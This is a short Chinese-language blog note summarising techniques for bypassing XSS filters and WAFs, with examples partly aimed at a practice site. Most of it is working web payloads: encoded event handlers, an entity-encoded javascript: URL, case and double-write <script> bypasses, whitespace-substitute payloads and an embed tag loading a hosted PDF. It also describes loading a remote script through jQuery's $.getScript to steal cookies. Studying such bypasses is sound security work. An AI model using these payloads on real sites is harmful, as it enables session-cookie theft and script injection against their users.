[关闭]
@1kbfree 2019-08-10T06:49:53.000000Z 字数 1285 阅读 1629

xss绕过过滤总结

Web安全


xss漏洞不多介绍,烂大街的~ 这里就讲这么绕过一些过滤

验证了on事件=

比如验证的是如下符号存在就会拦截

  1. onerror=
  2. onclick=
  3. onload=
  4. onxxxxx=

那么我们可以这样子绕过

  1. onerror+=
  2. onerror%0a=
  3. onerror%0d=
  4. onerror%09=

image.png-25.9kB

image.png-26.2kB

javascript:alert变成了javascr_ipt:alert

比如如下链接就是这样子过滤的,那么我们可以将其ascii编码

  1. http://test.xss.tv/level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B&submit=添加友情链接

还可以用%09绕过

  1. javascr%09ipt:alert(1)

1.png-21.4kB

还可以%0a、%0d绕过

过滤了<script>

  1. 大小写绕过(<SCriPt>
  2. 双写绕过(<scr<script>ipt>,他会把中间的<script>过滤掉,然后最终变成<script>

cookie绕过方法

很多站waf没限制弹窗,但是限制获取cookie限制原生代码写的远程加载js文件,那么我们可以利用框架

比如www.a.com站有jquery框架,那么我们可以这样子来引入JS文件来打cookie,案例如下

1.png-176.5kB

jquery中可以用$.getScript()函数来引入js文件

空格代替符

%0a、%0d、%09url解码后都会变为空格,所以我们可以将其加入在js代码中,就可以达到扰乱一些waf规则

  1. <script>%09alert%09(1);<script>
  2. <script>%0dalert%0d(1);</script>
  3. <script>%0aalert%0a(1);</script>
  4. <script>alert(document%0a.%09cookie);</script>
  5. <script>alert(%0ddocument%0a.%09cookie);</script>

1.png-20.3kB

函数绕过

js中,函数不仅可以这样

  1. (alert)(1);

还可以这样

  1. (alert)(1);

传参可以这样

  1. alert(1);

还可以这样

  1. alert`1`;

配合空格替代符效果会更好。

embed解析导致的xss

这个解析的条件得在新浏览器才可以,但是很鸡肋,因为无法打cookie(因为这个不是目标网站的域),所以只能执行一些其他的js代码,如跳转,弹窗等,xss payload如下

  1. <embed src='http://static.zybuluo.com/1kbfree/2o0dq6spzahj8z7yjg64akgp/xss1.pdf'>

如果以后遇到的话会再次更新~

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注